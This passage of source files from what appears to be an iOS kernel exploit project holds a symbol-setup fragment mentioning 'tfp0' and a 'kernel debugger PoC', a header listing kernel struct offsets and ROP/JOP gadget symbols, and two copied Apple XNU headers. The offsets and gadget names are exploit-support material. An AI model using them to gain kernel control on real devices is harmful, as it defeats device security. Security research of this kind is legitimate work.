195 | symbols = ksymbols_iphone_6s_15b202;
196 | have_syms = 1;
197 | } else {
198 | printf("no symbols for this device yet\n");
199 | printf("tfp0 should still work, but the kernel debugger PoC won't\n");
200 | symbols = NULL;
201 | have_syms = 0;
202 | }
203 | }
204 |
205 |
206 |
--------------------------------------------------------------------------------
/Files/symbols.h:
--------------------------------------------------------------------------------
1 | #ifndef symbols_h
2 | #define symbols_h
3 |
4 | #include
5 |
6 | enum kstruct_offset {
7 | /* struct task */
8 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
9 | KSTRUCT_OFFSET_TASK_REF_COUNT,
10 | KSTRUCT_OFFSET_TASK_ACTIVE,
11 | KSTRUCT_OFFSET_TASK_VM_MAP,
12 | KSTRUCT_OFFSET_TASK_NEXT,
13 | KSTRUCT_OFFSET_TASK_PREV,
14 | KSTRUCT_OFFSET_TASK_ITK_SPACE,
15 | KSTRUCT_OFFSET_TASK_BSD_INFO,
16 |
17 | /* struct ipc_port */
18 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
19 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
20 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
21 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
22 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
23 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
24 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
25 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
26 |
27 | /* struct proc */
28 | KSTRUCT_OFFSET_PROC_PID,
29 |
30 | /* struct ipc_space */
31 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
32 |
33 | /* struct thread */
34 | KSTRUCT_OFFSET_THREAD_BOUND_PROCESSOR,
35 | KSTRUCT_OFFSET_THREAD_LAST_PROCESSOR,
36 | KSTRUCT_OFFSET_THREAD_CHOSEN_PROCESSOR,
37 | KSTRUCT_OFFSET_THREAD_CONTEXT_DATA, // thread.machine.contextData
38 | KSTRUCT_OFFSET_THREAD_UPCB, // thread.machine.upcb
39 | KSTRUCT_OFFSET_THREAD_UNEON, // thread.machine.uNeon
40 | KSTRUCT_OFFSET_THREAD_KSTACKPTR,
41 |
42 | /* struct processor */
43 | KSTRUCT_OFFSET_PROCESSOR_CPU_ID,
44 |
45 | /* struct cpu_data */
46 | KSTRUCT_OFFSET_CPU_DATA_EXCEPSTACKPTR, // despite the name this actually points to the top of the stack, not the bottom
47 | KSTRUCT_OFFSET_CPU_DATA_CPU_PROCESSOR,
48 | };
49 |
50 |
51 |
52 | // the
53 |
54 | enum ksymbol {
55 | KSYMBOL_OSARRAY_GET_META_CLASS,
56 | KSYMBOL_IOUSERCLIENT_GET_META_CLASS,
57 | KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX,
58 | KSYMBOL_CSBLOB_GET_CD_HASH,
59 | KSYMBOL_KALLOC_EXTERNAL,
60 | KSYMBOL_KFREE,
61 | KSYMBOL_RET,
62 | KSYMBOL_OSSERIALIZER_SERIALIZE,
63 | KSYMBOL_KPRINTF,
64 | KSYMBOL_UUID_COPY,
65 | KSYMBOL_CPU_DATA_ENTRIES,
66 | KSYMBOL_VALID_LINK_REGISTER,
67 | KSYMBOL_X21_JOP_GADGET,
68 | KSYMBOL_EXCEPTION_RETURN,
69 | KSYMBOL_THREAD_EXCEPTION_RETURN,
70 | KSYMBOL_SET_MDSCR_EL1_GADGET,
71 | KSYMBOL_WRITE_SYSCALL_ENTRYPOINT,
72 | KSYMBOL_EL1_HW_BP_INFINITE_LOOP,
73 | KSYMBOL_SLEH_SYNC_EPILOG
74 | };
75 |
76 | int koffset(enum kstruct_offset);
77 |
78 | uint64_t ksym(enum ksymbol);
79 |
80 | void offsets_init(void);
81 | void symbols_init(void);
82 | int probably_have_correct_symbols(void);
83 |
84 | #endif
85 |
--------------------------------------------------------------------------------
/Files/sys/kern_control.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2000-2004 Apple Computer, Inc. All rights reserved.
3 | *
4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. The rights granted to you under the License
10 | * may not be used to create, or enable the creation or redistribution of,
11 | * unlawful or unlicensed copies of an Apple operating system, or to
12 | * circumvent, violate, or enable the circumvention or violation of, any
13 | * terms of an Apple operating system software license agreement.
14 | *
15 | * Please obtain a copy of the License at
16 | * http://www.opensource.apple.com/apsl/ and read it before using this file.
17 | *
18 | * The Original Code and all software distributed under the License are
19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
23 | * Please see the License for the specific language governing rights and
24 | * limitations under the License.
25 | *
26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
27 | */
28 | /*!
29 | @header kern_control.h
30 | This header defines an API to communicate between a kernel
31 | extension and a process outside of the kernel.
32 | */
33 |
34 | #ifndef KPI_KERN_CONTROL_H
35 | #define KPI_KERN_CONTROL_H
36 |
37 |
38 | #include
39 |
40 | /*
41 | * Define Controller event subclass, and associated events.
42 | * Subclass of KEV_SYSTEM_CLASS
43 | */
44 |
45 | /*!
46 | @defined KEV_CTL_SUBCLASS
47 | @discussion The kernel event subclass for kernel control events.
48 | */
49 | #define KEV_CTL_SUBCLASS 2
50 |
51 | /*!
52 | @defined KEV_CTL_REGISTERED
53 | @discussion The event code indicating a new controller was
54 | registered. The data portion will contain a ctl_event_data.
55 | */
56 | #define KEV_CTL_REGISTERED 1 /* a new controller appears */
57 |
58 | /*!
59 | @defined KEV_CTL_DEREGISTERED
60 | @discussion The event code indicating a controller was unregistered.
61 | The data portion will contain a ctl_event_data.
62 | */
63 | #define KEV_CTL_DEREGISTERED 2 /* a controller disappears */
64 |
65 | /*!
66 | @struct ctl_event_data
67 | @discussion This structure is used for KEV_CTL_SUBCLASS kernel
68 | events.
69 | @field ctl_id The kernel control id.
70 | @field ctl_unit The kernel control unit.
71 | */
72 | struct ctl_event_data {
73 | u_int32_t ctl_id; /* Kernel Controller ID */
74 | u_int32_t ctl_unit;
75 | };
76 |
77 | /*
78 | * Controls destined to the Controller Manager.
79 | */
80 |
81 | /*!
82 | @defined CTLIOCGCOUNT
83 | @discussion The CTLIOCGCOUNT ioctl can be used to determine the
84 | number of kernel controllers registered.
85 | */
86 | #define CTLIOCGCOUNT _IOR('N', 2, int) /* get number of control structures registered */
87 |
88 | /*!
89 | @defined CTLIOCGINFO
90 | @discussion The CTLIOCGINFO ioctl can be used to convert a kernel
91 | control name to a kernel control id.
92 | */
93 | #define CTLIOCGINFO _IOWR('N', 3, struct ctl_info) /* get id from name */
94 |
95 |
96 | /*!
97 | @defined MAX_KCTL_NAME
98 | @discussion Kernel control names must be no longer than
99 | MAX_KCTL_NAME.
100 | */
101 | #define MAX_KCTL_NAME 96
102 |
103 | /*
104 | * Controls destined to the Controller Manager.
105 | */
106 |
107 | /*!
108 | @struct ctl_info
109 | @discussion This structure is used with the CTLIOCGINFO ioctl to
110 | translate from a kernel control name to a control id.
111 | @field ctl_id The kernel control id, filled out upon return.
112 | @field ctl_name The kernel control name to find.
113 | */
114 | struct ctl_info {
115 | u_int32_t ctl_id; /* Kernel Controller ID */
116 | char ctl_name[MAX_KCTL_NAME]; /* Kernel Controller Name (a C string) */
117 | };
118 |
119 |
120 | /*!
121 | @struct sockaddr_ctl
122 | @discussion The controller address structure is used to establish
123 | contact between a user client and a kernel controller. The
124 | sc_id/sc_unit uniquely identify each controller. sc_id is a
125 | unique identifier assigned to the controller. The identifier can
126 | be assigned by the system at registration time or be a 32-bit
127 | creator code obtained from Apple Computer. sc_unit is a unit
128 | number for this sc_id, and is privately used by the kernel
129 | controller to identify several instances of the controller.
130 | @field sc_len The length of the structure.
131 | @field sc_family AF_SYSTEM.
132 | @field ss_sysaddr AF_SYS_KERNCONTROL.
133 | @field sc_id Controller unique identifier.
134 | @field sc_unit Kernel controller private unit number.
135 | @field sc_reserved Reserved, must be set to zero.
136 | */
137 | struct sockaddr_ctl {
138 | u_char sc_len; /* depends on size of bundle ID string */
139 | u_char sc_family; /* AF_SYSTEM */
140 | u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */
141 | u_int32_t sc_id; /* Controller unique identifier */
142 | u_int32_t sc_unit; /* Developer private unit number */
143 | u_int32_t sc_reserved[5];
144 | };
145 |
146 |
147 | #endif /* KPI_KERN_CONTROL_H */
148 |
149 |
--------------------------------------------------------------------------------
/Files/sys/proc_info.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (c) 2005 Apple Computer, Inc. All rights reserved.
3 | *
4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@
5 | *
6 | * This file contains Original Code and/or Modifications of Original Code
7 | * as defined in and that are subject to the Apple Public Source License
8 | * Version 2.0 (the 'License'). You may not use this file except in
9 | * compliance with the License. The rights granted to you under the License
10 | * may not be used to create, or enable the creation or redistribution of,
11 | * unlawful or unlicensed copies of an Apple operating system, or to
12 | * circumvent, violate, or enable the circumvention or violation of, any
13 | * terms of an Apple operating system software license agreement.
14 | *
15 | * Please obtain a copy of the License at
16 | * http://www.opensource.apple.com/apsl/ and read it before using this file.
17 | *
18 | * The Original Code and all software distributed under the License are
19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
23 | * Please see the License for the specific language governing rights and
24 | * limitations under the License.
25 | *
26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@
27 | */
28 |
29 | #ifndef _SYS_PROC_INFO_H
30 | #define _SYS_PROC_INFO_H
31 |
32 | #include
33 | #include
34 | #include
35 | #include
36 | #include
37 | #include
38 | #include
39 | #include "kern_control.h"
40 | #include
41 | #include "../net/route.h"
42 | #include
43 | #include
44 |
45 | __BEGIN_DECLS
46 |
47 |
48 | #define PROC_ALL_PIDS 1
49 | #define PROC_PGRP_ONLY 2
50 | #define PROC_TTY_ONLY 3
51 | #define PROC_UID_ONLY 4
52 | #define PROC_RUID_ONLY 5
53 |
54 | struct proc_bsdinfo {
55 | uint32_t pbi_flags; /* 64bit; emulated etc */
56 | uint32_t pbi_status;
57 | uint32_t pbi_xstatus;
58 | uint32_t pbi_pid;
59 | uint32_t pbi_ppid;
60 | uid_t pbi_uid;
61 | gid_t pbi_gid;
62 | uid_t pbi_ruid;
63 | gid_t pbi_rgid;
64 | uid_t pbi_svuid;
65 | gid_t pbi_svgid;
66 | uint32_t rfu_1; /* reserved */
67 | char pbi_comm[MAXCOMLEN];
68 | char pbi_name[2*MAXCOMLEN]; /* empty if no name is registered */
69 | uint32_t pbi_nfiles;
70 | uint32_t pbi_pgid;
71 | uint32_t pbi_pjobc;
72 | uint32_t e_tdev; /* controlling tty dev */
73 | uint32_t e_tpgid; /* tty process group id */
74 | int32_t pbi_nice;
75 | uint64_t pbi_start_tvsec;
76 | uint64_t pbi_start_tvusec;
77 | };
78 |
79 |
80 |
81 | /* pbi_flags values */
82 | #define PROC_FLAG_SYSTEM 1
83 | #define PROC_FLAG_TRACED 2
84 | #define PROC_FLAG_INEXIT 4
85 | #define PROC_FLAG_PPWAIT 8
86 | #define PROC_FLAG_LP64 0x10
87 | #define PROC_FLAG_SLEADER 0x20
88 | #define PROC_FLAG_CTTY 0x40
89 | #define PROC_FLAG_CONTROLT 0x80
90 | #define PROC_FLAG_THCWD 0x100
91 | /* process control bits for resource starvation */
92 | #define PROC_FLAG_PC_THROTTLE 0x200
93 | #define PROC_FLAG_PC_SUSP 0x400
94 | #define PROC_FLAG_PC_KILL 0x600
95 | #define PROC_FLAG_PC_MASK 0x600
96 | /* process action bits for resource starvation */
97 | #define PROC_FLAG_PA_THROTTLE 0x800
98 | #define PROC_FLAG_PA_SUSP 0x1000
99 |
100 |
101 | struct proc_taskinfo {
102 | uint64_t pti_virtual_size; /* virtual memory size (bytes) */
103 | uint64_t pti_resident_size; /* resident memory size (bytes) */
104 | uint64_t pti_total_user; /* total time */
105 | uint64_t pti_total_system;
106 | uint64_t pti_threads_user; /* existing threads only */
107 | uint64_t pti_threads_system;
108 | int32_t pti_policy; /* default policy for new threads */
109 | int32_t pti_faults; /* number of page faults */
110 | int32_t pti_pageins; /* number of actual pageins */
111 | int32_t pti_cow_faults; /* number of copy-on-write faults */
112 | int32_t pti_messages_sent; /* number of messages sent */
113 | int32_t pti_messages_received; /* number of messages received */
114 | int32_t pti_syscalls_mach; /* number of mach system calls */
115 | int32_t pti_syscalls_unix; /* number of unix system calls */
116 | int32_t pti_csw; /* number of context switches */
117 | int32_t pti_threadnum; /* number of threads in the task */
118 | int32_t pti_numrunning; /* number of running threads */
119 | int32_t pti_priority; /* task priority*/
120 | };
121 |
122 | struct proc_taskallinfo {
123 | struct proc_bsdinfo pbsd;
124 | struct proc_taskinfo ptinfo;
125 | };
126 |
127 | #define MAXTHREADNAMESIZE 64
128 |
129 | struct proc_threadinfo {
130 | uint64_t pth_user_time; /* user run time */
131 | uint64_t pth_system_time; /* system run time */
132 | int32_t pth_cpu_usage; /* scaled cpu usage percentage */
133 | int32_t pth_policy; /* scheduling policy in effect */
134 | int32_t pth_run_state; /* run state (see below) */
135 | int32_t pth_flags; /* various flags (see below) */
136 | int32_t pth_sleep_time; /* number of seconds that thread */
137 | int32_t pth_curpri; /* cur priority*/
138 | int32_t pth_priority; /* priority*/
139 | int32_t pth_maxpriority; /* max priority*/
140 | char pth_name[MAXTHREADNAMESIZE]; /* thread name, if any */
141 | };
142 |
143 | struct proc_regioninfo {
144 | uint32_t pri_protection;
145 | uint32_t pri_max_protection;
146 | uint32_t pri_inheritance;
147 | uint32_t pri_flags; /* shared, external pager, is submap */
148 | uint64_t pri_offset;
149 | uint32_t pri_behavior;
150 | uint32_t pri_user_wired_count;
151 | uint32_t pri_user_tag;
152 | uint32_t pri_pages_resident;
153 | uint32_t pri_pages_shared_now_private;
154 | uint32_t pri_pages_swapped_out;
155 | uint32_t pri_pages_dirtied;
156 | uint32_t pri_ref_count;
157 | uint32_t pri_shadow_depth;
158 | uint32_t pri_share_mode;
159 | uint32_t pri_private_pages_resident;
160 | uint32_t pri_shared_pages_resident;
161 | uint32_t pri_obj_id;
162 | uint32_t pri_depth;
163 | uint64_t pri_address;
164 | uint64_t pri_size;
165 | };
166 |
167 | #define PROC_REGION_SUBMAP 1
168 | #define PROC_REGION_SHARED 2
169 |
170 | #define SM_COW 1
171 | #define SM_PRIVATE 2
172 | #define SM_EMPTY 3
173 | #define SM_SHARED 4
174 | #define SM_TRUESHARED 5
175 | #define SM_PRIVATE_ALIASED 6
176 | #define SM_SHARED_ALIASED 7
177 |
178 |
179 | /*
180 | * Thread run states (state field).
181 | */
182 |
183 | #define TH_STATE_RUNNING 1 /* thread is running normally */
184 | #define TH_STATE_STOPPED 2 /* thread is stopped */
185 | #define TH_STATE_WAITING 3 /* thread is waiting normally */
186 | #define TH_STATE_UNINTERRUPTIBLE 4 /* thread is in an uninterruptible
187 | wait */
188 | #define TH_STATE_HALTED 5 /* thread is halted at a
189 | clean point */
190 |
191 | /*
192 | * Thread flags (flags field).
193 | */
194 | #define TH_FLAGS_SWAPPED 0x1 /* thread is swapped out */
195 | #define TH_FLAGS_IDLE 0x2 /* thread is an idle thread */
196 |
197 |
198 | struct proc_workqueueinfo {
199 | uint32_t pwq_nthreads; /* total number of workqueue threads */
200 | uint32_t pwq_runthreads; /* total number of running workqueue threads */
201 | uint32_t pwq_blockedthreads; /* total number of blocked workqueue threads */
202 | uint32_t reserved[1]; /* reserved for future use */
203 | };
204 |
205 | struct proc_fileinfo {
206 | uint32_t fi_openflags;
207 | uint32_t fi_status;
208 | off_t fi_offset;
209 | int32_t fi_type;
210 | int32_t rfu_1; /* reserved */
211 | };
212 |
213 | /* stats flags in proc_fileinfo */
214 | #define PROC_FP_SHARED 1 /* shared by more than one fd */
215 | #define PROC_FP_CLEXEC 2 /* close on exec */
216 |
217 | /*
218 | * A copy of stat64 with static sized fields.
219 | */
220 | struct vinfo_stat {
221 | uint32_t vst_dev; /* [XSI] ID of device containing file */
222 | uint16_t vst_mode; /* [XSI] Mode of file (see below) */
223 | uint16_t vst_nlink; /* [XSI] Number of hard links */
224 | uint64_t vst_ino; /* [XSI] File serial number */
225 | uid_t vst_uid; /* [XSI] User ID of the file */
226 | gid_t vst_gid; /* [XSI] Group ID of the file */
227 | int64_t vst_atime; /* [XSI] Time of last access */
228 | int64_t vst_atimensec; /* nsec of last access */
229 | int64_t vst_mtime; /* [XSI] Last data modification time */
230 | int64_t vst_mtimensec; /* last data modification nsec */
231 | int64_t vst_ctime; /* [XSI] Time of last status change */
232 | int64_t vst_ctimensec; /* nsec of last status change */
233 | int64_t vst_birthtime; /* File creation time(birth) */
234 | int64_t vst_birthtimensec; /* nsec of File creation time */
235 | off_t vst_size; /* [XSI] file size, in bytes */
236 | int64_t vst_blocks; /* [XSI] blocks allocated for file */
237 | int32_t vst_blksize; /* [XSI] optimal blocksize for I/O */
238 | uint32_t vst_flags; /* user defined flags for file */
239 | uint32_t vst_gen; /* file generation number */
240 | uint32_t vst_rdev; /* [XSI] Device ID */
241 | int64_t vst_qspare[2]; /* RESERVED: DO NOT USE! */
242 | };
243 |
244 | struct vnode_info {
245 | struct vinfo_stat vi_stat;
246 | int vi_type;
247 | int vi_pad;
248 | fsid_t vi_fsid;
249 | };
250 |
251 | struct vnode_info_path {
252 | struct vnode_info vip_vi;
253 | char vip_path[MAXPATHLEN]; /* tail end of it */
254 | };
255 |
256 | struct vnode_fdinfo {
257 | struct proc_fileinfo pfi;
258 | struct vnode_info pvi;
259 | };
260 |
261 | struct vnode_fdinfowithpath {
262 | struct proc_fileinfo pfi;
263 | struct vnode_info_path pvip;
264 | };
265 |
266 | struct proc_regionwithpathinfo {
267 | struct proc_regioninfo prp_prinfo;
268 | struct vnode_info_path prp_vip;
269 | };
270 |
271 | struct proc_vnodepathinfo {
272 | struct vnode_info_path pvi_cdir;
273 | struct vnode_info_path pvi_rdir;
274 | };
275 |
276 | struct proc_threadwithpathinfo {
277 | struct proc_threadinfo pt;
278 | struct vnode_info_path pvip;
279 | };
280 |
281 | /*
282 | * Socket
283 | */
284 |
285 |
286 | /*
287 | * IPv4 and IPv6 Sockets
288 | */
289 |
290 | #define INI_IPV4 0x1
291 | #define INI_IPV6 0x2
292 |
293 | struct in4in6_addr {
294 | u_int32_t i46a_pad32[3];
295 | struct in_addr i46a_addr4;
296 | };
297 |
298 | struct in_sockinfo {
299 | int insi_fport; /* foreign port */
300 | int insi_lport; /* local port */
301 | uint64_t insi_gencnt; /* generation count of this instance */
302 | uint32_t insi_flags; /* generic IP/datagram flags */
303 | uint32_t insi_flow;
304 |
305 | uint8_t insi_vflag; /* ini_IPV4 or ini_IPV6 */
306 | uint8_t insi_ip_ttl; /* time to live proto */
307 | uint32_t rfu_1; /* reserved */
308 | /* protocol dependent part */
309 | union {
310 | struct in4in6_addr ina_46;
311 | struct in6_addr ina_6;
312 | } insi_faddr; /* foreign host table entry */
313 | union {
314 | struct in4in6_addr ina_46;
315 | struct in6_addr ina_6;
316 | } insi_laddr; /* local host table entry */
317 | struct {
318 | u_char in4_tos; /* type of service */
319 | } insi_v4;
320 | struct {
321 | uint8_t in6_hlim;
322 | int in6_cksum;
323 | u_short in6_ifindex;
324 | short in6_hops;
325 | } insi_v6;
326 | };
327 |
328 | /*
329 | * TCP Sockets
330 | */
331 |
332 | #define TSI_T_REXMT 0 /* retransmit */
333 | #define TSI_T_PERSIST 1 /* retransmit persistence */
334 | #define TSI_T_KEEP 2 /* keep alive */
335 | #define TSI_T_2MSL 3 /* 2*msl quiet time timer */
336 | #define TSI_T_NTIMERS 4
337 |
338 | #define TSI_S_CLOSED 0 /* closed */
339 | #define TSI_S_LISTEN 1 /* listening for connection */
340 | #define TSI_S_SYN_SENT 2 /* active, have sent syn */
341 | #define TSI_S_SYN_RECEIVED 3 /* have send and received syn */
342 | #define TSI_S_ESTABLISHED 4 /* established */
343 | #define TSI_S__CLOSE_WAIT 5 /* rcvd fin, waiting for close */
344 | #define TSI_S_FIN_WAIT_1 6 /* have closed, sent fin */
345 | #define TSI_S_CLOSING 7 /* closed xchd FIN; await FIN ACK */
346 | #define TSI_S_LAST_ACK 8 /* had fin and close; await FIN ACK */
347 | #define TSI_S_FIN_WAIT_2 9 /* have closed, fin is acked */
348 | #define TSI_S_TIME_WAIT 10 /* in 2*msl quiet wait after close */
349 | #define TSI_S_RESERVED 11 /* pseudo state: reserved */
350 |
351 | struct tcp_sockinfo {
352 | struct in_sockinfo tcpsi_ini;
353 | int tcpsi_state;
354 | int tcpsi_timer[TSI_T_NTIMERS];
355 | int tcpsi_mss;
356 | uint32_t tcpsi_flags;
357 | uint32_t rfu_1; /* reserved */
358 | uint64_t tcpsi_tp; /* opaque handle of TCP protocol control block */
359 | };
360 |
361 | /*
362 | * Unix Domain Sockets
363 | */
364 |
365 |
366 | struct un_sockinfo {
367 | uint64_t unsi_conn_so; /* opaque handle of connected socket */
368 | uint64_t unsi_conn_pcb; /* opaque handle of connected protocol control block */
369 | union {
370 | struct sockaddr_un ua_sun;
371 | char ua_dummy[SOCK_MAXADDRLEN];
372 | } unsi_addr; /* bound address */
373 | union {
374 | struct sockaddr_un ua_sun;
375 | char ua_dummy[SOCK_MAXADDRLEN];
376 | } unsi_caddr; /* address of socket connected to */
377 | };
378 |
379 | /*
380 | * PF_NDRV Sockets
381 | */
382 |
383 | struct ndrv_info {
384 | uint32_t ndrvsi_if_family;
385 | uint32_t ndrvsi_if_unit;
386 | char ndrvsi_if_name[IF_NAMESIZE];
387 | };
388 |
389 | /*
390 | * Kernel Event Sockets
391 | */
392 |
393 | struct kern_event_info {
394 | uint32_t kesi_vendor_code_filter;
395 | uint32_t kesi_class_filter;
396 | uint32_t kesi_subclass_filter;
397 | };
398 |
399 | /*
400 | * Kernel Control Sockets
401 | */
402 |
403 | struct kern_ctl_info {
404 | uint32_t kcsi_id;
405 | uint32_t kcsi_reg_unit;
406 | uint32_t kcsi_flags; /* support flags */
407 | uint32_t kcsi_recvbufsize; /* request more than the default buffer size */
408 | uint32_t kcsi_sendbufsize; /* request more than the default buffer size */
409 | uint32_t kcsi_unit;
410 | char kcsi_name[MAX_KCTL_NAME]; /* unique nke identifier, provided by DTS */
411 | };
412 |
413 | /* soi_state */
414 |
415 | #define SOI_S_NOFDREF 0x0001 /* no file table ref any more */
416 | #define SOI_S_ISCONNECTED 0x0002 /* socket connected to a peer */
417 | #define SOI_S_ISCONNECTING 0x0004 /* in process of connecting to peer */
418 | #define SOI_S_ISDISCONNECTING 0x0008 /* in process of disconnecting */
419 | #define SOI_S_CANTSENDMORE 0x0010 /* can't send more data to peer */
420 | #define SOI_S_CANTRCVMORE 0x0020 /* can't receive more data from peer */
421 | #define SOI_S_RCVATMARK 0x0040 /* at mark on input */
422 | #define SOI_S_PRIV 0x0080 /* privileged for broadcast, raw... */
423 | #define SOI_S_NBIO 0x0100 /* non-blocking ops */
424 | #define SOI_S_ASYNC 0x0200 /* async i/o notify */
425 | #define SOI_S_INCOMP 0x0800 /* Unaccepted, incomplete connection */
426 | #define SOI_S_COMP 0x1000 /* unaccepted, complete connection */
427 | #define SOI_S_ISDISCONNECTED 0x2000 /* socket disconnected from peer */
428 | #define SOI_S_DRAINING 0x4000 /* close waiting for blocked system calls to drain */
429 |
430 | struct sockbuf_info {
431 | uint32_t sbi_cc;
432 | uint32_t sbi_hiwat; /* SO_RCVBUF, SO_SNDBUF */
433 | uint32_t sbi_mbcnt;
434 | uint32_t sbi_mbmax;
435 | uint32_t sbi_lowat;
436 | short sbi_flags;
437 | short sbi_timeo;
438 | };
439 |
440 | enum {
441 | SOCKINFO_GENERIC = 0,
442 | SOCKINFO_IN = 1,
443 | SOCKINFO_TCP = 2,
444 | SOCKINFO_UN = 3,
445 | SOCKINFO_NDRV = 4,
446 | SOCKINFO_KERN_EVENT = 5,
447 | SOCKINFO_KERN_CTL = 6
448 | };
449 |
450 | struct socket_info {
451 | struct vinfo_stat soi_stat;
452 | uint64_t soi_so; /* opaque handle of socket */
453 | uint64_t soi_pcb; /* opaque handle of protocol control block */
454 | int soi_type;
455 | int soi_protocol;
456 | int soi_family;
457 | short soi_options;
458 | short soi_linger;
459 | short soi_state;
460 | short soi_qlen;
461 | short soi_incqlen;
462 | short soi_qlimit;
463 | short soi_timeo;
464 | u_short soi_error;
465 | uint32_t soi_oobmark;
466 | struct sockbuf_info soi_rcv;
467 | struct sockbuf_info soi_snd;
468 | int soi_kind;
469 | uint32_t rfu_1; /* reserved */
470 | union {
471 | struct in_sockinfo pri_in; /* SOCKINFO_IN */
472 | struct tcp_sockinfo pri_tcp; /* SOCKINFO_TCP */
473 | struct un_sockinfo pri_un; /* SOCKINFO_UN */
474 | struct ndrv_info pri_ndrv; /* SOCKINFO_NDRV */
475 | struct kern_event_info pri_kern_event; /* SOCKINFO_KERN_EVENT */
476 | struct kern_ctl_info pri_kern_ctl; /* SOCKINFO_KERN_CTL */
477 | } soi_proto;
478 | };
479 |
480 | struct socket_fdinfo {
481 | struct proc_fileinfo pfi;
482 | struct socket_info psi;
483 | };
484 |
485 |
486 |
487 | struct psem_info {
488 | struct vinfo_stat psem_stat;
489 | char psem_name[MAXPATHLEN];
490 | };
491 |
492 | struct psem_fdinfo {
493 | struct proc_fileinfo pfi;
494 | struct psem_info pseminfo;
495 | };
496 |
497 |
498 |
499 | struct pshm_info {
500 | struct vinfo_stat pshm_stat;
501 | uint64_t pshm_mappaddr;
502 | char pshm_name[MAXPATHLEN];
503 | };
504 |
505 | struct pshm_fdinfo {
506 | struct proc_fileinfo pfi;
507 | struct pshm_info pshminfo;
508 | };
509 |
510 |
511 | struct pipe_info {
512 | struct vinfo_stat pipe_stat;
513 | uint64_t pipe_handle;
514 | uint64_t pipe_peerhandle;
515 | int pipe_status;
516 | int rfu_1; /* reserved */
517 | };
518 |
519 | struct pipe_fdinfo {
520 | struct proc_fileinfo pfi;
521 | struct pipe_info pipeinfo;
522 | };
523 |
524 |
525 | struct kqueue_info {
526 | struct vinfo_stat kq_stat;
527 | uint32_t kq_state;
528 | uint32_t rfu_1; /* reserved */
529 | };
530 | #define PROC_KQUEUE_SELECT 1
531 | #define PROC_KQUEUE_SLEEP 2
532 |
533 | struct kqueue_fdinfo {
534 | struct proc_fileinfo pfi;
535 | struct kqueue_info kqueueinfo;
536 | };
537 |
538 | struct appletalk_info {
539 | struct vinfo_stat atalk_stat;
540 | };
541 |
542 | struct appletalk_fdinfo {
543 | struct proc_fileinfo pfi;
544 | struct appletalk_info appletalkinfo;
545 | };
546 |
547 |
548 |
549 | /* defns of process file desc type */
550 | #define PROX_FDTYPE_ATALK 0
551 | #define PROX_FDTYPE_VNODE 1
552 | #define PROX_FDTYPE_SOCKET 2
553 | #define PROX_FDTYPE_PSHM 3
554 | #define PROX_FDTYPE_PSEM 4
555 | #define PROX_FDTYPE_KQUEUE 5
556 | #define PROX_FDTYPE_PIPE 6
557 | #define PROX_FDTYPE_FSEVENTS 7
558 |
559 | struct proc_fdinfo {
560 | int32_t proc_fd;
561 | uint32_t proc_fdtype;
562 | };
563 |
564 | /* Flavors for proc_pidinfo() */
565 | #define PROC_PIDLISTFDS 1
566 | #define PROC_PIDLISTFD_SIZE (sizeof(struct proc_fdinfo))
567 |
568 | #define PROC_PIDTASKALLINFO 2
569 | #define PROC_PIDTASKALLINFO_SIZE (sizeof(struct proc_taskallinfo))
570 |
571 | #define PROC_PIDTBSDINFO 3
572 | #define PROC_PIDTBSDINFO_SIZE (sizeof(struct proc_bsdinfo))
573 |
574 | #define PROC_PIDTASKINFO 4
575 | #define PROC_PIDTASKINFO_SIZE (sizeof(struct proc_taskinfo))
576 |
577 | #define PROC_PIDTHREADINFO 5
578 | #define PROC_PIDTHREADINFO_SIZE (sizeof(struct proc_threadinfo))
579 |
580 | #define PROC_PIDLISTTHREADS 6
581 | #define PROC_PIDLISTTHREADS_SIZE (2* sizeof(uint32_t))
582 |
583 |
584 | #define PROC_PIDREGIONINFO 7
585 | #define PROC_PIDREGIONINFO_SIZE (sizeof(struct proc_regioninfo))
586 |
587 | #define PROC_PIDREGIONPATHINFO 8
588 | #define PROC_PIDREGIONPATHINFO_SIZE (sizeof(struct proc_regionwithpathinfo))
589 |
590 | #define PROC_PIDVNODEPATHINFO 9
591 | #define PROC_PIDVNODEPATHINFO_SIZE (sizeof(struct proc_vnodepathinfo))
592 |
593 | #define PROC_PIDTHREADPATHINFO 10
594 | #define PROC_PIDTHREADPATHINFO_SIZE (sizeof(struct proc_threadwithpathinfo))
595 |
596 | #define PROC_PIDPATHINFO 11
597 | #define PROC_PIDPATHINFO_SIZE (MAXPATHLEN)
598 | #define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN)
599 |
600 | #define PROC_PIDWORKQUEUEINFO 12
